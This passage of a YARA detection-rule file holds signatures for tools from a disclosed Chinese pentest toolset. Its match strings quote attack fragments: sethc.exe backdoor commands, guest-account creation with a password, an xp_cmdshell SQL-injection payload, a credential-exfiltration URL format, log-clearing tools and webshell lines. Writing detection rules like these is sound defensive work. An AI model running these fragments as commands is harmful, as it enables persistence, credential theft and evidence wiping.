		hash = "b24d761c6bbf216792c4833890460e8b37d86b37"
		id = "c53f4015-ad2b-5898-88b5-34b3bc2c65b6"

	strings:
		$s0 = "del /q /f %systemroot%system32sethc.exe" fullword ascii
		$s1 = "cacls %s /t /c /e /r administrators" fullword ascii
		$s2 = "\\dllcache\\sethc.exe" ascii
		$s3 = "\\ntvdm.exe" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them
}

rule CN_Honker_exp_win2003
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file win2003.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "47164c8efe65d7d924753fadf6cdfb897a1c03db"
		id = "f64e14dd-714c-5a0f-923d-23a584fe605f"

	strings:
		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii
		$s2 = "The shell \"cmd\" success!" fullword ascii
		$s4 = "Not Windows NT family OS." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule CN_Honker_Interception3389_setup
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file setup.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f5b2f86f8e7cdc00aa1cb1b04bc3d278eb17bf5c"
		id = "7250ff73-6b08-56a4-b2bc-081060d1fa2d"

	strings:
		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\%s" fullword ascii
		$s1 = "%s\\temp\\temp%d.bat" fullword ascii
		$s5 = "EventStartShell" fullword ascii
		$s6 = "del /f /q \"%s\"" fullword ascii
		$s7 = "\\wminotify.dll" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule CN_Honker_CnCerT_CCdoor_CMD_2
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "7f3a6fb30845bf366e14fa21f7e05d71baa1215a"
		id = "2681a989-6504-5ac7-abc9-e6dad2a052c5"

	strings:
		$s0 = "cmd.dll" fullword wide
		$s1 = "cmdpath" fullword ascii
		$s2 = "Get4Bytes" fullword ascii
		$s3 = "ExcuteCmd" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 22KB and all of them
}

rule CN_Honker_exp_ms11046
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ms11046.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
		id = "aafb45f4-3b42-5c8f-8c25-40fd01217e9d"

	strings:
		$s0 = "[*] Token system command" fullword ascii
		$s1 = "[*] command add user 90sec 90sec" fullword ascii
		$s2 = "[*] Add to Administrators success" fullword ascii
		$s3 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule CN_Honker_Master_beta_1_7
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Master_beta_1.7.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3be7a370791f29be89acccf3f2608fd165e8059e"
		id = "78f904ec-f7cb-5fd0-a117-925ebedd1d3e"

	strings:
		$s1 = "http://seo.chinaz.com/?host=" fullword ascii
		$s2 = "Location: getpass.asp?info=" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 312KB and all of them
}

rule CN_Honker_F4ck_Team_f4ck_2
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file f4ck_2.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "0783661077312753802bd64bf5d35c4666ad0a82"
		id = "b2a9067f-57d0-5b32-87c8-3b635c3944a5"

	strings:
		$s1 = "F4ck.exe" fullword wide
		$s2 = "@Netapi32.dll" fullword ascii
		$s3 = "Team.F4ck.Net" fullword wide
		$s8 = "Administrators" fullword ascii
		$s9 = "F4ck Team" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 220KB and 2 of them
}

rule CN_Honker_sig_3389_80_AntiFW
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file AntiFW.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "5fbc75900e48f83d0e3592ea9fa4b70da72ccaa3"
		id = "761bed41-e8e6-585b-8fde-a6b6a56445d6"

	strings:
		$s1 = "Set TS to port:80 Successfully!" fullword ascii
		$s2 = "Now,set TS to port 80" fullword ascii
		$s3 = "echo. >>amethyst.reg" fullword ascii
		$s4 = "del amethyst.reg" fullword ascii
		$s5 = "AntiFW.cpp" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and 2 of them
}

rule CN_Honker_wwwscan_gui
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file wwwscan_gui.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
		id = "fffed806-4394-505a-96bd-50bf6f24aefc"

	strings:
		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii
		$s2 = "/eye2007Admin_login.aspx" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 280KB and all of them
}

rule CN_Honker_SwordCollEdition
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file SwordCollEdition.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "6e14f21cac6e2aa7535e45d81e8d1f6913fd6e8b"
		id = "4e8d4d48-c053-5579-be9c-af73ec0fe614"

	strings:
		$s0 = "YuJianScan.exe" fullword wide
		$s1 = "YuJianScan" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 225KB and all of them
}

rule CN_Honker_HconSTFportable
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file HconSTFportable.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "00253a00eadb3ec21a06911a3d92728bbbe80c09"
		id = "591cbd4a-0035-5903-a7dc-8f8ee6dc9f50"

	strings:
		$s1 = "HconSTFportable.exe" fullword wide
		$s2 = "www.Hcon.in" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 354KB and all of them
}

rule CN_Honker_T00ls_Lpk_Sethc_v3_LPK
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
		id = "c5b806d9-74dc-5244-b1e0-9837abeaeaac"

	strings:
		$s1 = "FreeHostKillexe.exe" fullword ascii
		$s2 = "\\sethc.exe /G everyone:F" ascii
		$s3 = "c:\\1.exe" fullword ascii
		$s4 = "Set user Group Error! Username:" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule CN_Honker_Without_a_trace_Wywz
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Wywz.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f443c43fde643228ee95def5c8ed3171f16daad8"
		id = "1093c0c3-499f-5aec-ad4a-878d377296d5"

	strings:
		$s1 = "\\Symantec\\Norton Personal Firewall\\Log\\Content.log" ascii
		$s2 = "UpdateFile=d:\\tool\\config.ini,Option\\\\proxyIp=127.0.0.1\\r\\nproxyPort=808" ascii
		$s3 = "%s\\subinacl.exe /subkeyreg \"%s\" /Grant=%s=f /Grant=everyone=f" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1800KB and all of them
}

rule CN_Honker_LPK2_0_LPK
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "5a1226e73daba516c889328f295e728f07fdf1c3"
		id = "4aa40b78-5fe4-5312-881c-e5a292435ff0"

	strings:
		$s1 = "\\sethc.exe /G everyone:F" ascii
		$s2 = "net1 user guest guest123!@#" fullword ascii
		$s3 = "\\dllcache\\sethc.exe" ascii
		$s4 = "sathc.exe 211" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1030KB and all of them
}

rule CN_Honker_cleaniis
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file cleaniis.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "372bc64c842f6ff0d9a1aa2a2a44659d8b88cb40"
		id = "75f3c33a-e3b8-57bc-a3fd-f8b6491388d8"

	strings:
		$s1 = "iisantidote <logfile dir> <ip or string to hide>" fullword ascii
		$s4 = "IIS log file cleaner by Scurt" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule CN_Honker_arp3_7_arp3_7
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file arp3.7.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "db641a9dfec103b98548ac7f6ca474715040f25c"
		id = "a4aeefaf-a097-5ba3-a18f-54a1b9752883"

	strings:
		$s1 = "CnCerT.Net.SKiller.exe" fullword wide
		$s2 = "www.80sec.com" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and all of them
}

rule CN_Honker_exp_ms11080
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ms11080.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
		id = "2f5ce2f3-3595-5729-be0c-3f6486cb94fd"

	strings:
		$s2 = "[*] command add user 90sec 90sec" fullword ascii
		$s6 = "[*] Add to Administrators success" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 840KB and all of them
}

rule CN_Honker_Injection_transit
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Injection_transit.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f4fef2e3d310494a3c3962a49c7c5a9ea072b2ea"
		id = "8600c86f-0da1-5ddb-bae5-69358cf53e7c"

	strings:
		$s0 = "<description>Your app description here</description> " fullword ascii
		$s4 = "Copyright (C) 2003 ZYDSoft Corp." fullword wide
		$s5 = "ScriptnackgBun" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3175KB and all of them
}

rule CN_Honker_Safe3WVS
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Safe3WVS.EXE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "fee3acacc763dc55df1373709a666d94c9364a7f"
		id = "035ecb73-3dbc-55d2-8d0c-b71308094d18"

	strings:
		$s0 = "2TerminateProcess" fullword ascii
		$s1 = "mscoreei.dll" fullword ascii
		$s7 = "SafeVS.exe" fullword wide
		$s8 = "www.safe3.com.cn" fullword wide
		$s20 = "SOFTWARE\\Classes\\Interface\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

rule CN_Honker_NBSI_3_0
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file NBSI 3.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "93bf0f64bec926e9aa2caf4c28df9af27ec0e104"
		id = "be8d0dce-4f7f-5f18-9ed0-99fc1dc2b22f"

	strings:
		$s1 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide
		$s2 = "http://localhost/1.asp?id=16" fullword ascii
		$s3 = " exec master.dbo.xp_cmdshell @Z--" fullword wide
		$s4 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2600KB and 2 of them
}

rule CN_Honker_sig_3389_DUBrute_v3_0_RC3_2_0
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file 2.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e8ee982421ccff96121ffd24a3d84e3079f3750f"
		id = "dda5eea9-da79-5f1f-bbac-9f05ba7e71c9"

	strings:
		$s0 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii
		$s3 = "Create %d IP@Loginl;Password" fullword ascii
		$s15 = "UBrute.com" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 980KB and 2 of them
}

rule CN_Honker_hkmjjiis6
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file hkmjjiis6.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2023-01-27"
		score = 70
		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
		id = "badf8224-4f09-57aa-ab16-0d70e0b3f88c"

	strings:
		$s14 = "* FROM IIsWebInfo/r" fullword ascii
		$s19 = "ltithread4ck/" ascii
		$s20 = "LookupAcc=Sid#" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 175KB and all of them
}

rule CN_Honker_clearlogs
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file clearlogs.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2023-01-27"
		score = 70
		hash = "490f3bc318f415685d7e32176088001679b0da1b"
		id = "bfbc339e-5530-5984-94de-be1002f09ca1"

	strings:
		$s2 = "- http://ntsecurity.nu/toolbox/clearlogs/" ascii
		$s4 = "Error: Unable to clear log - " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 140KB and all of them
}

rule CN_Honker_no_net_priv_esc_AddUser
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file AddUser.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "4c95046be6ae40aee69a433e9a47f824598db2d4"
		id = "0f99914c-9349-5870-a3e0-3a5079efdecf"

	strings:
		$s0 = "PECompact2" fullword ascii
		$s1 = "adduser" fullword ascii
		$s5 = "OagaBoxA" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 115KB and all of them
}

rule CN_Honker_Injection
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Injection.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
		id = "8600c86f-0da1-5ddb-bae5-69358cf53e7c"

	strings:
		$s0 = "http://127.0.0.1/6kbbs/bank.asp" fullword ascii
		$s7 = "jmPost.asp" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 220KB and all of them
}

rule CN_Honker_SQLServer_inject_Creaked
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file SQLServer_inject_Creaked.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "af3c41756ec8768483a4cf59b2e639994426e2c2"
		id = "9a8a77c2-9e06-5694-8055-4480ab932520"

	strings:
		$s1 = "http://localhost/index.asp?id=2" fullword ascii
		$s2 = "Email:zhaoxypass@yahoo.com.cn<br>" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8110KB and all of them
}

rule CN_Honker_WebScan_WebScan
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file WebScan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "a0b0e2422e0e9edb1aed6abb5d2e3d156b7c8204"
		id = "1545494b-9a74-5b2e-921c-e54dd5ac4b51"

	strings:
		$s1 = "wwwscan.exe" fullword wide
		$s2 = "WWWScan Gui" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and all of them
}

rule CN_Honker_GetHashes_2
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "35ae9ccba8d607d8c19a065cf553070c54b091d8"
		id = "31117d2e-caf1-58c9-8525-b40b73097928"

	strings:
		$s1 = "GetHashes.exe <SAM registry file> [System key file]" fullword ascii
		$s2 = "GetHashes.exe $Local" fullword ascii
		$s3 = "The system key doesn't match SAM registry file!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 2 of them
}

rule SUSP_Patcher_Keygen_Indicators_Jun15
{
	meta:
		description = "Sample from CN Honker Pentest Toolset"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e32f5de730e324fb386f97b6da9ba500cf3a4f8d"
		id = "4dd65e4b-8178-5576-9740-b3c80a8127e2"

	strings:
		$s0 = "<description>Patch</description>" fullword ascii
		$s2 = "\\dup2patcher.dll" ascii
		$s3 = "load_patcher" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and all of them
}

rule CN_Honker_Tuoku_script_oracle_2
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file oracle.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "865dd591b552787eda18ee0ab604509bae18c197"
		id = "b88a0faa-1616-5f1b-80dc-6e6a2f0cb671"

	strings:
		$s0 = "webshell" fullword ascii
		$s1 = "Silic Group Hacker Army " fullword ascii

	condition:
		filesize < 3KB and all of them
}

rule CN_Honker_net_packet_capt
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file net_packet_capt.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "2d45a2bd9e74cf14c1d93fff90c2b0665f109c52"
		id = "16e19be7-3805-5e2b-baa6-20554fb7a5cf"

	strings:
		$s1 = "(*.sfd)" fullword ascii
		$s2 = "GetLaBA" fullword ascii
		$s3 = "GAIsProcessorFeature" fullword ascii
		$s4 = "- Gablto " ascii
		$s5 = "PaneWyedit" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them
}

rule CN_Honker_CleanIISLog
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file CleanIISLog.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
		id = "3931ba63-faf5-5b44-879c-105cd2812712"

	strings:
		$s1 = "Usage: CleanIISLog <LogFile>|<.> <CleanIP>|<.>" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule CN_Honker_HASH_pwhash
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file pwhash.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "689056588f95749f0382d201fac8f58bac393e98"
		id = "5d8c3648-a725-5f01-9800-b75b8c740cf1"

	strings:
		$s1 = "Example: quarks-pwdump.exe --dump-hash-domain --with-history" fullword ascii
		$s2 = "quarks-pwdump.exe <options> <NTDS file>" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of them
}

rule CN_Honker_cleaner_cl_2
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file cl.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "523084e8975b16e255b56db9af0f9eecf174a2dd"
		id = "9aa36c0a-9e0f-5274-bebe-9179d81b05f7"

	strings:
		$s0 = "cl -eventlog All/Application/System/Security" fullword ascii
		$s1 = "clear iislog error!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them
}

rule CN_Honker_SqlMap_Python_Run
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Run.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "a51479a1c589f17c77d22f6cf90b97011c33145f"
		id = "308d929a-0f38-5db4-92c2-2a7bf25bb64f"

	strings:
		$s1 = ".\\Run.log" fullword ascii
		$s2 = "[root@Hacker~]# Sqlmap " fullword ascii
		$s3 = "%sSqlmap %s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and all of them
}

rule CN_Honker_SAMInside
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file SAMInside.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "707ba507f9a74d591f4f2e2f165ff9192557d6dd"
		id = "c5ac9f0a-d1af-59c3-9c13-91153180f3d8"

	strings:
		$s0 = "www.InsidePro.com" fullword wide
		$s1 = "SAMInside.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 650KB and all of them
}

rule CN_Honker_WebScan_wwwscan
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
		id = "defe0024-f94a-560a-a9f6-b3849b41f9bb"

	strings:
		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii
		$s2 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
		$s3 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them
}

rule CN_Honker_sig_3389_2_3389
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file 3389.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "48d1974215e5cb07d1faa57e37afa91482b5a376"
		id = "8b2f5f6d-4d7b-561c-bd77-2de351e5aca8"

	strings:
		$s1 = "C:\\Documents and Settings\\Administrator\\" ascii
		$s2 = "net user guest /active:yes" fullword ascii
		$s3 = "\\Microsoft Word.exe" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 80KB and all of them
}

rule CN_Honker_PHP_php11
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file php11.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "dcc8226e7eb20e4d4bef9e263c14460a7ee5e030"
		id = "e20eaab1-9799-5e61-9a25-3ac0dcce5f7f"

	strings:
		$s1 = "<tr><td><b><?php if (!$win) {echo wordwrap(myshellexec('id'),90,'<br>',1);} else" ascii
		$s2 = "foreach (glob($_GET['pathtomass'].\"/*.htm\") as $injectj00) {" fullword ascii
		$s3 = "echo '[cPanel Found] '.$login.':'.$pass.\"  Success\\n\";" fullword ascii

	condition:
		filesize < 800KB and all of them
}

rule CN_Honker_WebCruiserWVS
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file WebCruiserWVS.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "6c90a9ed4c8a141a343dab1b115cc840a7190304"
		id = "16bed1e8-a1f0-5fcf-9c03-83625a388547"

	strings:
		$s0 = "id:uid:user:username:password:access:account:accounts:admin_id:admin_name:admin_" ascii
		$s1 = "Created By WebCruiser - Web Vulnerability Scanner http://sec4app.com" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and all of them
}

rule CN_Honker_Hookmsgina
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Hookmsgina.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f4d9b329b45fbcf6a3b9f29f2633d5d3d76c9f9d"
		id = "77813637-ec9f-599c-90c9-be1dd93b45f7"

	strings:
		$s1 = "\\\\.\\pipe\\WinlogonHack" fullword ascii
		$s2 = "%s?host=%s&domain=%s&user=%s&pass=%s&port=%u" fullword ascii
		$s3 = "Global\\WinlogonHack_Load%u" fullword ascii
		$s4 = "Hookmsgina.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule CN_Honker_sig_3389_xp3389
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file xp3389.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
